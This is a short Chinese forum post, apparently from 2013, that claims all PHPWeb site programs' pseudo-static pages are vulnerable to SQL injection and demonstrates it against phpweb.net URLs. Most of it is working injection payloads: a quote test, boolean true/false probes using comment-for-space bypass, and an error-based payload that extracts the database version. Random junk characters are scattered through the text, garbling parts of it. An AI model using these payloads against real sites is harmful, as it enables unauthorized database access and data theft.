phpweb所有的整站程序伪静态页面都存在sql注入4 }4 E5 k4 T/ D% q; }9 V
0 I+ }; K9 |9 z0 o. R! ^6 h
主站：http://phpweb.net/
$ q+ J3 t4 u3 Y* S$ J) _加’检测：- M: t x! z: J. o$ ~6 Q
8 ~' b& N: q u
http://www.phpweb.net/down/html/?772′.html! l: y. G5 x B- M
, F: u7 u, _; {出错
) p; }% r1 {& X6 ?5 d* Z& @6 o存在注入。' i1 {' m, C& k: I
不能用空格，只能用/*罗
3 W5 z* C8 z; x. _http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常! Y2 g) {* h1 l* n) I
/ _+ ]' R) V: f/ \2 ?http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
; p2 }! ~4 r5 U2 f2 z( J爆数据库版本：4 C* F& U7 V4 U% S# j7 V7 X
8 W Q3 ]9 `: l' t. `3 [) J?
7 T0 w- X% E% A; F9 @1 z16 k' O$ n. Q3 g- L( B+ z
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
1 G7 Z8 k1 \) }( z0 i更新日期: 2013-01-03 13:39:50 - M0 k# \ O% {& Z
|
发表于 2013-1-4 19:46:42
收藏
支持
反对